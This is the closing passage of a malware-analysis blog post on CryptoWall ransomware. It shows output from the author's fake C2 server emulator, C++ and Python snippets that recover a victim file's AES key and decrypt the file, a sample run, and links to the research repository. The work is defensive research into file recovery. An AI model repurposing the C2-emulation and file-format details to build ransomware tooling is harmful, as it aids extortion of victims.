 [+] Created key from URI: 13349bchmnpqw

 [!] Found ciphertext: 
ff977e974ca21f20a160ebb12bd99bd616d3690c3f4358e2b8168f54929728a189c8797bfa12cfa031ee9c
[+] Recovered plaintext: 
b'{1|crypt1|C6B359277232C8E248AFD89C98E96D65|0|2|1||55.59.84.254}'

[+] Sending encrypted data blob back to cryptowall process127.0.0.1 - - [31/Mar/2020 
15:11:52] "�[37mPOST /93n14chwb3qpm HTTP/1.1�[0m" 200

Step by step, the first thing we have to do is write a program that imports the private key file.
I used C++ for this portion because for the life of me I could not figure out how to mimic the
CryptDecodeObjectEx  API call that decodes the key in a X509_ASN_ENCODING  and
PKCS_7_ASN_ENCODING  format. Once you have the key blob from this function, we can use

this function as the malware does and call CryptImportKey , but this time it is a private key
and not a public key ;). Since the first 16  bytes of the victim file contains the MD5 hash of
the unencrypted file, we know we can skip that part and focus on the 256  bytes after that
part of the header. The block size is going be 256  bytes and AES offset will be 272 , since
that will be the last byte needed in the cryptographic equation. Once we get the blob, it is
now okay to call CryptDecrypt  and print out the 32  byte key blob:

https://github.com/ryancor/CryptoWall_Analysis/blob/master/fake_c2_i2p_server.py#L37
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if (!CryptDecrypt(hKey, NULL, FALSE, 0, keyBuffer, &bytesRead))  {         printf("
[-] CryptDecrypt failed with error 0x%.8X\n",     GetLastError());         return 
FALSE;  }   printf("[+] Decrypted AES Key => ");  for(int i = 0; i < bytesRead; i++)  
{       printf("%02x", keyBuffer[i]);  }

You can find the whole script here. Now that we are half way there and we have an AES key,
the last thing to do is write a simple python script that will take that key / encrypted file and
decrypt all remaining contents of it after the 272nd byte.

enc_data_remainder = file_data[272:]cipher = AES.new(aes_key, AES.MODE_ECB)        
plaintext = cipher.decrypt(enc_data_remainder)

The script to perform this action is in the same folder on Github. If you want to see how the
whole thing looks from start to finish, it will go like this:

➜  decrypt_aes_key.exe priv_key_1.pem loveme.txt
 [+] Initialized crypto provider

 [+] Successfully imported private key from PEM file
 [!] Extracted encrypted AES keys from file

 [+] Decrypted AES Key => 
08020000106600002000000040b4247954af27637ce4f7fabfe1ccfc6cd55fc724caa840f82848ea4800b3
[+] Successfully decrypted key from file

➜  python decrypt_file.py loveme.txt 
40b4247954af27637ce4f7fabfe1ccfc6cd55fc724caa840f82848ea4800b320[+] Decrypting 
file[+] Found hash header => e91049c35401f2b4a1a131bd992df7a6[+] Plaintext from file: 
b'"hello world" \r\n\'

Conclusion

Overall this was one of the biggest leading cyber threats back in 2013, and the threat actors
behind this malicious virus have shown their years of experience when it comes to
engineering a ransomware such as this.

Although this ransomware is over 6 years old, it still fascinated me so much to reverse
engineer this virus that I wanted to share all the tooling I have wrote for it. Every step of the
way their was another challenge to overcome, whether it was knowing what the malware
expected the encrypted payload to look like coming back from the C2, figuring out how to
decrypt their C2 I2P servers using RC4, decompressing the ransomware note using some
hard to mimic LZNT1 algorithm, or even understanding their obscure way of generating
domain URI paths… it was all around a gigantic puzzle for a completionist engineer like
myself.

Here is the repository that contains all the programs I wrote that helped me research
CryptoWall.

https://github.com/ryancor/CryptoWall_Analysis/blob/master/In_Progress/decrypt_aes_key.cpp
https://github.com/ryancor/CryptoWall_Analysis/blob/master/In_Progress/decrypt_file.py
https://github.com/ryancor/CryptoWall_Analysis
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Thank you for following along! I hope you enjoyed it as much as I did. If you have any
questions on this article or where to find the challenge, please DM me at my Instagram:
@hackersclub or Twitter: @ringoware

Happy Hunting :)


